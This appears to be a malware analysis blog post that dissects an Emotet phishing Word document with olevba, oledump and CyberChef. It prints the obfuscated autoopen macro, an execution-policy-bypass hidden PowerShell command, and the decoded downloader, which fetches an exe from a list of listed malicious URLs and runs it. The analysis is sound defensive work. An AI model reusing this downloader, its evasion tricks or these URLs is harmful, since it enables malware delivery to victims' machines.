Malware Analysis: Unnamed Emotet Doc
I decided to do some VT roulette and check out some recent phishing docs in VT. I searched for documents with only few (5-12) detections, and the top item was an Emotet word doc. The Emotet group continues to tweak their strategy to avoid AV. In this doc, they use TextBox objects to hold both the base64 encoded PowerShell and the PowerShell command line itself, in a way that actually makes it hard to follow with olevba. I’ll use oledump to show the parts that olevba misses.
Metadata
File Info
Original Filename | unknown |
File Type | MS Word Document, .doc |
File Creation | 2019-05-20 08:57:00 |
File Last Saved | 2019-05-20 08:57:00 |
sha256 | cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 |
VT Link | https://www.virustotal.com/gui/file/cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2/ |
VT Information
Submissions
The document was first uploaded at 9:36:34 on 20 May 2019, just over an hour and a half after it’s creation date. It was submitted four times over eight hours, but three different submitters in three countries.
Detections
On initial submission, only nine of 60 AV’s detected this document as malicious:
Document
olevba
Dump
I’ll start with olevba
to dump the VBA macros. I’ll notice that there’s two macros streams that it believes are empty:
$ olevba cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
olevba 0.54.1 on Python 2.7.15 - http://decalage.info/python/oletools
===============================================================================
FILE: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO O3_4045.cls
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/O3_4045'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO H94470.vba
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/H94470'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub _
autoopen( _
)
Dim d587624()
ReDim d587624(5)
d587624(0) = "206424235" + "276145942"
d587624(1) = "270724748" + "644364997"
d587624(2) = "998293622" + "775162821"
d587624(3) = "419305928" + "165281006"
d587624(4) = "645391534" + "663351253"
H719_241
Dim a566_28()
ReDim a566_28(5)
a566_28(0) = "892355821" + "126824804"
a566_28(1) = "12521960" + "228692477"
a566_28(2) = "455213603" + "397088026"
a566_28(3) = "94846704" + "5941859"
a566_28(4) = "245411699" + "225236639"
End Sub
Sub H719_241()
Dim X690083()
ReDim X690083(5)
X690083(0) = "935402011" + "7445275"
X690083(1) = "1298829" + "594659946"
X690083(2) = "479032764" + "9024263"
X690083(3) = "815473014" + "252858305"
X690083(4) = "180358411" + "452096720"
Set S19851 = GetObject(CStr("Winmgmts:Win32_ProcesSstartup"))
Dim v47952()
ReDim v47952(5)
v47952(0) = "434953678" + "355235224"
v47952(1) = "433715375" + "302757908"
v47952(2) = "6807223" + "303678071"
v47952(3) = "513990890" + "721825129"
v47952(4) = "408871251" + "540064544"
S19851. _
ShowWindow = vbFalse - vbFalse
Dim Q5954219()
ReDim Q5954219(5)
Q5954219(0) = "273197614" + "108278373"
Q5954219(1) = "59680272" + "206794860"
Q5954219(2) = "596328425" + "957730347"
Q5954219(3) = "75404614" + "406869143"
Q5954219(4) = "580567595" + "143116109"
Set A165533 = GetObject(CStr("Winmgmts:Win32_ProcesS"))
Dim A658103()
ReDim A658103(5)
A658103(0) = "137479618" + "926490507"
A658103(1) = "309241433" + "916751420"
A658103(2) = "272206738" + "422731081"
A658103(3) = "714085446" + "650175884"
A658103(4) = "78890792" + "916197776"
A165533.Create J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607
Dim r3891144()
ReDim r3891144(5)
r3891144(0) = "869990301" + "602729851"
r3891144(1) = "6485658" + "501545638"
r3891144(2) = "102647218" + "600955191"
r3891144(3) = "842200192" + "762280068"
r3891144(4) = "31891335" + "242008746"
End Sub
-------------------------------------------------------------------------------
VBA MACRO W85356.vba
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/W85356'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |autoopen |Runs when the Word document is opened |
|Suspicious|ShowWindow |May hide the application |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Hex String| d$# |20642423 |
|Hex String|f3Q% |66335125 |
|Hex String|"R6c |22523663 |
|Hex String|%(X0 |25285830 |
|Hex String|CISg |43495367 |
|Hex String|5R5" |35523522 |
|Hex String|Yc(B |59632842 |
+----------+--------------------+---------------------------------------------+
Analysis
The output show three files. I’ll start with the obvious one, which shows an autoopen
sub. There’s some obfuscation that comes from declaring never used dims and values. I’ll clear that out, leaving:
Sub autoopen()
H719_241
End Sub
Sub H719_241()
Set S19851 = GetObject(CStr("Winmgmts:Win32_ProcesSstartup"))
S19851.ShowWindow = vbFalse - vbFalse
Set A165533 = GetObject(CStr("Winmgmts:Win32_ProcesS"))
A165533.Create J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607
End Sub
This code creates an instance of the WMI class Winmgmts:Win32_ProcessStartUp
and sets the ShowWindow
value to 0 (false). Then it uses the Create
method from the Winmgmts:Win32_Process
class to start a process. But what is that process?
The create
method takes the following arguments according to Microsoft documentation:
uint32 Create(
[in] string CommandLine,
[in] string CurrentDirectory,
[in] Win32_ProcessStartup ProcessStartupInformation,
[out] uint32 ProcessId
);
The code defines those arguments as:
J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607
Most of those variables are undefined. Removing those leaves:
"po" + O3_4045.R1136_ + O3_4045.s250__65, 0, S19851, 0
I can now see the current directory and the output PID are null, and the ProcessStartupInformation
is the object defined earlier to be hidden. That leaves only the Command Line.
O3_4045
is a visual basic class, one that olevba
shows it as empty:
VBA MACRO O3_4045.cls
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/O3_4045'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
oledump
Show O3_4045.cls
The class is not actually empty, it just doesn’t run anything, so olevba
doesn’t show anything. It does set Attributes. If I use a different tool, oledump
from Didier Stevens, I can see the code. I’ll run it first with no additional switches to see all the streams:
$ oledump.py cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
1: 114 '\x01CompObj'
2: 336 '\x05DocumentSummaryInformation'
3: 472 '\x05SummaryInformation'
4: 7716 '1Table'
5: 66441 'Data'
6: 500 'Macros/PROJECT'
7: 68 'Macros/PROJECTwm'
8: M 5164 'Macros/VBA/H94470'
9: m 1434 'Macros/VBA/O3_4045'
10: m 674 'Macros/VBA/W85356'
11: 5126 'Macros/VBA/_VBA_PROJECT'
12: 8482 'Macros/VBA/__SRP_0'
13: 228 'Macros/VBA/__SRP_1'
14: 144 'Macros/VBA/__SRP_4'
15: 492 'Macros/VBA/__SRP_5'
16: 807 'Macros/VBA/dir'
17: 116 'ObjectPool/_1619858587/\x01CompObj'
18: 20 'ObjectPool/_1619858587/\x03OCXNAME'
19: 6 'ObjectPool/_1619858587/\x03ObjInfo'
20: 2116 'ObjectPool/_1619858587/contents'
21: 116 'ObjectPool/_1619858588/\x01CompObj'
22: 20 'ObjectPool/_1619858588/\x03OCXNAME'
23: 6 'ObjectPool/_1619858588/\x03ObjInfo'
24: 452 'ObjectPool/_1619858588/\x03PRINT'
25: 124 'ObjectPool/_1619858588/contents'
26: 4096 'WordDocument'
Now I’ll select stream 9 with -s 9
and give it -v
for vba code:
$ oledump.py -s 9 -v cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
Attribute VB_Name = "O3_4045"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "s250__65, 0, 0, MSForms, TextBox"
Attribute VB_Control = "R1136_, 1, 1, MSForms, TextBox"
In the last two lines, it associates two text boxes with variable names. This GitHub page explains what the five values are:
The
Attribute VB_Control
attribute has 5 values defined in the string, separated by commas.
- Value1 = Name of the control
- Value 2 = Shape.ID - 1024 of the control (stays constant across saves, increments with every new control, seed doesn’t reset on control removal, so not necessarily adjacent values.
- Value 3 = I think, the most recently selected item is given an index of 0, and all other controls get an incrementing number. This value can and does change across saves. In some instances, the index starts at a higher number than 0, but the index numbers are always adjacent. The attributes are listed in the module, in the order of this index value, but as the index value changes, the order of the control attributes changes.
- Value 4 - Name of the Contol’s parent Library
- Value 5 - Name of the Control
Text Box Objects
I’ll also notice streams 17-20 and 21-25:
17: 116 'ObjectPool/_1619858587/\x01CompObj'
18: 20 'ObjectPool/_1619858587/\x03OCXNAME'
19: 6 'ObjectPool/_1619858587/\x03ObjInfo'
20: 2116 'ObjectPool/_1619858587/contents'
21: 116 'ObjectPool/_1619858588/\x01CompObj'
22: 20 'ObjectPool/_1619858588/\x03OCXNAME'
23: 6 'ObjectPool/_1619858588/\x03ObjInfo'
24: 452 'ObjectPool/_1619858588/\x03PRINT'
25: 124 'ObjectPool/_1619858588/contents'
It looks like these two sets of streams represent objects. I can see from 17 that its a Forms.TextBox.1
:
$ oledump.py -s 17 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
00000000: 01 00 FE FF 03 0A 00 00 FF FF FF FF 10 1D D2 8B ................
00000010: 42 EC CE 11 9E 0D 00 AA 00 60 02 F3 1C 00 00 00 B........`......
00000020: 4D 69 63 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 Microsoft Forms
00000030: 32 2E 30 20 54 65 78 74 42 6F 78 00 10 00 00 00 2.0 TextBox.....
00000040: 45 6D 62 65 64 64 65 64 20 4F 62 6A 65 63 74 00 Embedded Object.
00000050: 10 00 00 00 46 6F 72 6D 73 2E 54 65 78 74 42 6F ....Forms.TextBo
00000060: 78 2E 31 00 F4 39 B2 71 00 00 00 00 00 00 00 00 x.1..9.q........
00000070: 00 00 00 00
Stream 18 is called the name, and it shows me s250__65
, which matches one of the Attributes from the VBA code. Stream 19 doesn’t show much. Steam 20 is the contents, which is a big base64 string:
$ oledump.py -s 20 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 | head
00000000: 00 02 24 08 01 01 40 80 00 00 00 00 1B 48 80 2C ..$...@......H.,
00000010: 0C 08 00 80 1A 00 00 00 23 00 00 00 4A 41 42 55 ........#...JABU
00000020: 41 44 63 41 58 77 41 32 41 44 51 41 4E 51 41 7A ADcAXwA2ADQANQAz
00000030: 41 44 4D 41 50 51 41 6E 41 47 4D 41 58 77 41 33 ADMAPQAnAGMAXwA3
00000040: 41 44 51 41 4E 51 41 33 41 44 63 41 4A 77 41 37 ADQANQA3ADcAJwA7
00000050: 41 43 51 41 54 67 41 7A 41 44 6B 41 4E 51 42 66 ACQATgAzADkANQBf
00000060: 41 46 38 41 4E 67 41 31 41 43 41 41 50 51 41 67 AF8ANgA1ACAAPQAg
00000070: 41 43 63 41 4D 67 41 30 41 43 63 41 4F 77 41 6B ACcAMgA0ACcAOwAk
00000080: 41 47 34 41 4D 41 41 79 41 44 49 41 58 77 41 30 AG4AMAAyADIAXwA0
00000090: 41 44 45 41 50 51 41 6E 41 47 4D 41 4D 77 41 30 ADEAPQAnAGMAMwA0
...[snip]...
I can see the same in streams 21-25, with a name of R1136_
and contents:
$ oledump.py -s 25 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
00000000: 00 02 5C 00 01 01 40 80 00 00 00 00 1B 48 80 2C ..\...@......H.,
00000010: 43 00 00 80 1A 00 00 00 23 00 00 00 77 65 72 73 C.......#...wers
00000020: 68 65 6C 6C 20 2D 45 78 65 63 75 74 69 6F 6E 50 hell -ExecutionP
00000030: 6F 6C 69 63 79 20 62 79 70 61 73 73 20 2D 57 69 olicy bypass -Wi
00000040: 6E 64 6F 77 53 74 79 6C 65 20 48 69 64 64 65 6E ndowStyle Hidden
00000050: 20 2D 6E 6F 70 72 6F 66 69 6C 65 20 2D 65 20 54 -noprofile -e T
00000060: 00 02 18 00 35 00 00 00 07 00 00 80 E1 00 00 00 ....5...........
00000070: 00 02 00 00 43 61 6C 69 62 72 69 0A ....Calibri.
Now it all comes together.
"po" + "wershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e " + "JABUADcAX...[snip]...JwA=", 0, Winmgmts:Win32_ProcesSstartup.ShowWindow = 0, 0
PowerShell Payload
Now that I have a PowerShell Payload, I’ll take that and toss it into CyberChef:
The PowerShell cleans up to (including adding whitespace and removing useless lines):
$N395__65 = '24';
$k837_0 = $env:userprofile + '\'+$N395__65+'.exe';
$M21418=&('new- object') NET.WEBCLIEnT;
$B288603='http://saminprinter.com/wp-includes/yrkvm4vyy_ybidb-43745207/@http://santuarioaparecidamontese.com.br/wp-includes/7jn9p7_qou49bjodx-33953/@http://serwiskonsol.com/wp-content/JEsfYuiPMv/@https://ppdiamonds.co/wp-content/m45zv037uc_nent85daai-282067/@http://aworldtourism.com/wp-includes/1fcjc8_m4lnj7ffng-755100/'.SPlit('@');
foreach($k968826_ in $B288603){
try{
$M21418.dOwnloadfILe($k968826_, $k837_0);
If ((Get-Item $k837_0).LENgtH -ge 21258) {
Invoke-Item $k837_0;
break;
}
}catch{
}
}
This is a common Emotet algorithm, to have a list of urls separated by @
and splitting on it, then looping over them, trying to download and run, breaking on success.
Stage Two
I threw the 5 urls into urlscan.io
to see what would come back. For example, the first returns this:
It includes a file that was “downloaded by the website” (which I assume means from the website). Pulling that hash up on VT, I see not only that it’s malicious, but also the submitted name is emotet_exe_e2_...
:
The 4th and 5th urls also returned exes:
URL | Filename | MD5 |
---|---|---|
http://saminprinter.com/wp-includes/yrkvm4vyy_ybidb-43745207/ | w_97162421.exe | b1994f37b1ca47638931dd05d2a92727 |
http://santuarioaparecidamontese.com.br/wp-includes/7jn9p7_qou49bjodx-33953/ | None | None |
http://serwiskonsol.com/wp-content/JEsfYuiPMv/ | None | None |
https://ppdiamonds.co/wp-content/m45zv037uc_nent85daai-282067/ | v_28173.exe | b1994f37b1ca47638931dd05d2a92727 |
http://aworldtourism.com/wp-includes/1fcjc8_m4lnj7ffng-755100/ | 82aff7cg1_088.exe | 094040f453459afce9093e384a9d2212 |
The 4th url has the same exe as the 1st. The 5th is different, but also likely malicious on VT. On first submission, only 17 identified it:
24 hours later, it’s up to 48: